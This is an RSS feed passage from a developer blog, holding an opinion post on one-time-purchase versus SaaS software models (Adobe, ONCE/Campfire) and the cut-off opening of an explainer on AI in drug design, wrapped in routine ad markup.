      <content:encoded>&lt;p&gt;It is no secret that these days software, in general, is trending towards a SAAS business model. However if you were there when the holy scriptures of the internet were written, you will know that this trend is rather recent.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ots-and-software-as-a-physical-product&#34;&gt;OTS and software as a physical product&lt;/h2&gt;&#xA;&lt;p&gt;When the internet first came into use, it was common practice to sell software as if it were a regular supermarket product; you made a one-time payment and the product was yours, you owned it outright and you were free to use it until the inevitable collapse of our modern society.&lt;/p&gt;&#xA;&lt;p&gt;Not only that, but you physically owned it outside of computers; either in the form of CDs, floppy disks and later DVDs.&lt;/p&gt;&#xA;&lt;p&gt;But was this situation a corporate decision? Well, yes and no, let me expand on this point a bit.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-lack-of-payment-methods-and-the-slow-internet-of-yesteryear&#34;&gt;The lack of payment methods and the slow internet of yesteryear&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Much of the commercial software was too heavy, in proportion to the size of the storage devices, to download without problems.&lt;/p&gt;&#xA;&lt;p&gt;In the old days, internet connections were incredibly slow and unstable, leaving aside the strange noise that preceded every connection, old internet pirates know what I&amp;rsquo;m talking about.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/slow-internet-connection.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/slow-internet-connection.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Windows downloading that states years of waiting time&#34; width=&#34;650&#34; height=&#34;360&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Windows downloading that states years of waiting time&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;As a result, many companies chose to distribute their software via CDs or other external media.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/photoshop-code-box-and-disk.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/photoshop-code-box-and-disk.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Old Adobe Photoshop installation Floppy disks&#34; width=&#34;789&#34; height=&#34;369&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Old Adobe Photoshop installation Floppy disks&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;making-payments-over-the-internet-was-not-something-common&#34;&gt;Making payments over the internet was not something common.&lt;/h3&gt;&#xA;&lt;p&gt;Making payments over the internet was unusual, paypal didn&amp;rsquo;t exist and there were no other companies offering the service, plus people were wary of the world of online transactions. I don&amp;rsquo;t blame them, HTTPS didn&amp;rsquo;t exist, let alone strong cryptographic standards to protect your personal data.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;the-advent-of-saas-the-recurring-payment-model-and-saas-hell&#34;&gt;The advent of SAAS, the recurring payment model and SAAS hell&lt;/h2&gt;&#xA;&lt;p&gt;The landscape changed and the internet evolved, or maybe it&amp;rsquo;s better to say it became corporatized.&lt;/p&gt;&#xA;&lt;p&gt;Companies like Adobe grew and realized that they could save a lot of money by eliminating the logistics of distributing physical products and focusing solely on offering their content over the web.&lt;/p&gt;&#xA;&lt;p&gt;Subsequently, they found that it was more lucrative to rent the software, probably because:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;They dampened the variability of sales. They no longer had to worry about sudden changes in sales.&lt;/li&gt;&#xA;&lt;li&gt;They guaranteed a steady cash flow that allowed them to better plan their costs given the stability.&lt;/li&gt;&#xA;&lt;li&gt;The user was unable to use older versions of the software at zero cost.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Offering SAAS allowed companies to make a product or service available to the market with a rentier business model and ensure that if customers wanted to continue using a product (or service) they would have to pay month to month or forget about using it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-meme-saas.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-meme-saas.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme about Adobe and its obsession for profit&#34; width=&#34;552&#34; height=&#34;582&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Meme about Adobe and its obsession for profit&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This affected mainly those people who rarely updated their software. If they wanted to use it the following month, they now had to pay.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/not-stonks.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/not-stonks.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme about the modification of the world stocks into stonks&#34; width=&#34;600&#34; height=&#34;338&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Stonks&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;At the same time, however, it allowed companies to release new versions of their software more frequently and to iterate more quickly on user feedback to improve their product, allowing them to improve their product and make it more attractive to customers.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;That said, you might think that migrating to a SAAS model would make companies millionaires, but it didn&amp;rsquo;t, at least not for Adobe.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-stocks.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-stocks.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Adobe made obligatory monthly payments in 2017&#34; width=&#34;741&#34; height=&#34;610&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Adobe made obligatory monthly payments in 2017&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Although it is worth noting that if gross profits did not increase dramatically, his SAAS business allowed him to operate with a gross margin of 93%. Imagine, 93%, Jeff Bezos&amp;rsquo; wettest dream!&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-revenue-pricing-2014.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/adobe-revenue-pricing-2014.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Source: https://tomtunguz.com/adobe-saas-growth&#34; width=&#34;1280&#34; height=&#34;960&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Source: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tomtunguz.com/adobe-saas-growth&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://tomtunguz.com/adobe-saas-growth&lt;/a&gt;&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Was it a smart move? Well at least it seems so, since they have kept it up all these years, many, many companies followed the trend along with Adobe and adopted SAAS models.&lt;/p&gt;&#xA;&lt;h3 id=&#34;saas-hell&#34;&gt;SAAS Hell&lt;/h3&gt;&#xA;&lt;p&gt;As more companies adopted SAAS, we went from living in a world of CDs, DVDs and floppy disks to one with a long list of monthly payments for the software we use: netflix, slack, chatGPT, buffer, nuelink, X, Adobe, etc. Offering the companies some pretty convenient recurring revenue and us a list of bills to pay each month.&lt;/p&gt;&#xA;&lt;h2 id=&#34;eleven-and-the-return-of-ots&#34;&gt;Eleven and the return of OTS&lt;/h2&gt;&#xA;&lt;p&gt;And right in the middle of this sea of SAAS, Once appears as an island that offers refuge from the onslaught of companies that want to keep you subscribed for as long as possible.&lt;/p&gt;&#xA;&lt;p&gt;Eleven is a company that plans to go against the current SAAS trend. Eleven claims that &lt;strong&gt;it is unfair that customers have to pay so much money without ever owning the product&lt;/strong&gt;, similar to the landlord-tenant model, where the landlord will not own the real estate, even if he has paid more money than the real estate to the landlord.&lt;/p&gt;&#xA;&lt;p&gt;In his manifesto, Eleven, with the eloquence of the best politician, promises &lt;strong&gt;one-time payment for his software and access to the code&lt;/strong&gt;, waving the flag of a promising post-SAAS era.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/once-manifesto.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/images/once-manifesto.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Once Manifesto&#34; width=&#34;1148&#34; height=&#34;660&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Once Manifesto&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Surprisingly, their promise is not based on empty words; they have developed an application similar to Slack, called &lt;strong&gt;campfire&lt;/strong&gt;, which promises to reduce operating costs by up to 99.9% and was quite well received at X.&lt;/p&gt;&#xA;&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;&amp;quot;Just look at that 3-year TOC. Campfire running on Hetzner would cost you $479 for 500 users over three years ($299 + 36 * $5). Slack with the same number of seats would cost you $270,000!!! The ONCE solution is literally 99.9% cheaper. It’s crazy.&amp;quot; &lt;a href=&#34;https://t.co/4eZHS5Xz6s&#34;&gt;https://t.co/4eZHS5Xz6s&lt;/a&gt;&lt;/p&gt;&amp;mdash; DHH (@dhh) &lt;a href=&#34;https://twitter.com/dhh/status/1753131755346047307?ref_src=twsrc%5Etfw&#34;&gt;February 1, 2024&lt;/a&gt;&lt;/blockquote&gt;&#xA;&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;some-ots-and-saas-considerations&#34;&gt;Some OTS and SAAS considerations.&lt;/h2&gt;&#xA;&lt;p&gt;What advantages do I see? Well the most obvious one, money, paying $299 USD is much better than paying a recurring subscription of $7.25/user/month for decades. The price is incredibly cheap for a company (although a bit more significant for an individual, so I&amp;rsquo;ll be looking forward to trying it out). Add to this the obvious advantage of total control over the data, as the database will be completely in the clients&amp;rsquo; possession and, surprisingly, access to the code, allowing them to extend it and integrate it with other systems (license permitting).&lt;/p&gt;&#xA;&lt;p&gt;The disadvantages? You have to be sure that campfire will not disappear leaving you with a deprecated, unsupported product. Not to mention the increased responsibility, as you will now be responsible for keeping the application running, either directly or by hiring someone else, which depending on the number of users and workload may or may not be cost effective.&lt;/p&gt;&#xA;&lt;p&gt;From Eleven&amp;rsquo;s point of view, I would point out that it is disadvantageous to provide the source code to your customers, because you expose yourself to the development of competing products, but I&amp;rsquo;m not saying it, some of them will be able to develop the application for you.&lt;/p&gt;&#xA;&lt;h2 id=&#34;references&#34;&gt;References:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.linkedin.com/pulse/why-adobe-shifted-subscription-model-travis-hardman&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Why Adobe Shifted to a Subscription Model&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://once.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Once Manifest&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tomtunguz.com/adobe-saas-growth&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Adobe SAAS Growth&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;It is no secret that these days software, in general, is trending towards a SAAS business model. However if you were there when the holy scriptures of the internet were written, you will know that this trend is rather recent.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ots-and-software-as-a-physical-product&#34;&gt;OTS and software as a physical product&lt;/h2&gt;&#xA;&lt;p&gt;When the internet first came into use, it was common practice to sell software as if it were a regular supermarket product; you made a one-time payment and the product was yours, you owned it outright and you were free to use it until the inevitable collapse of our modern society.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Artificial Intelligence &amp; Drug Design for Developers</title>
      <link>https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/</link>
      <pubDate>Fri, 29 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/</guid>
      
      <category>artificial intelligence</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The uses of artificial intelligence go beyond &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/&#34;&gt;solving coding problems&lt;/a&gt;&#xA;, and regardless of whether this &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;artificial intelligence is conscious or not&lt;/a&gt;&#xA;, it has endless applications. One of the most interesting applications for artificial intelligence is the development of new drugs. Bringing a new drug to market is an arduous, costly and, in most cases, unsuccessful process. Artificial intelligence can speed up the process enormously and narrow down the new drug candidates to a few, rather than dozens of them.&lt;/p&gt;&#xA;&lt;p&gt;For this post I&amp;rsquo;m going to take some liberties and simplify concepts and sacrifice some (or a lot) of precision for the sake of better understanding. If you have doubts about who I am to talk about these topics, and about my credentials, feel free to ask me on social networks.&lt;/p&gt;&#xA;&lt;p&gt;First I&amp;rsquo;m going to briefly explain the basics of how a drug works.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-a-drug-work-in-humans-explained-for-developers&#34;&gt;How does a drug work in humans explained for developers?&lt;/h2&gt;&#xA;&lt;p&gt;When you ingest a drug orally, it enters your digestive system, is absorbed by it and transported into your blood. Once in the blood, the circulatory system is responsible for distributing it throughout the body. The blood has contact with all your cells. When the drug reaches the right cells, it binds to cell receptors, which trigger a normal cell function; either releasing insulin into the body, or blocking the secretion of a hormone.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/Receptor_%28Biochemistry&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/Receptor_%28Biochemistry&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Representation of a cell receptor. The blue and yellow part represents the membrane of a cell. By Wyatt Pyzynski - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=69535544.&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;At code level, you can think of a drug as a function that calls another function that already exists in the human body:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; releaseInsulin(){}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; administerDrug(drug){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  releaseInsulin()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;how-does-the-drug-know-which-cells-to-act-on&#34;&gt;How does the drug know which cells to act on?&lt;/h3&gt;&#xA;&lt;p&gt;The relationship between a drug and a cell receptor follows a key-lock mechanism, where the drug (the key) will only activate the functions of those cells that have a receptor (the lock) that &amp;ldquo;fits&amp;rdquo; with the drug.&lt;/p&gt;&#xA;&lt;p&gt;Whether they fit or not depends on the three-dimensional structure of the molecule and the receptor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; releaseInsulin(){}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; administerDrug(drug){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(isReceptorCompatible(cell, drug)){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    releaseInsulin()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And not only that, a drug may partially fit a receptor, which may cause an effect with less intensity than if it did fit perfectly, and furthermore, not fitting perfectly could make it activate other receptors that would trigger unwanted side effects.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/paracetamol_key_lock.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/paracetamol_key_lock.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Look how the molecule fits perfectly into this receptor.&#34; width=&#34;960&#34; height=&#34;927&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Look how the molecule fits perfectly into this receptor.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;drugs-have-undesirable-side-effects&#34;&gt;Drugs have undesirable side effects.&lt;/h3&gt;&#xA;&lt;p&gt;Administering a drug is not as simple as an &amp;ldquo;A&amp;rdquo; produces &amp;ldquo;B&amp;rdquo;. A drug does not usually have only one effect, but multiple ones. There are even drugs that have as a side effect the possibility of sudden death, yes, just as you are reading it, you take it and there is a possibility (tiny, yes) that you will drop dead.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 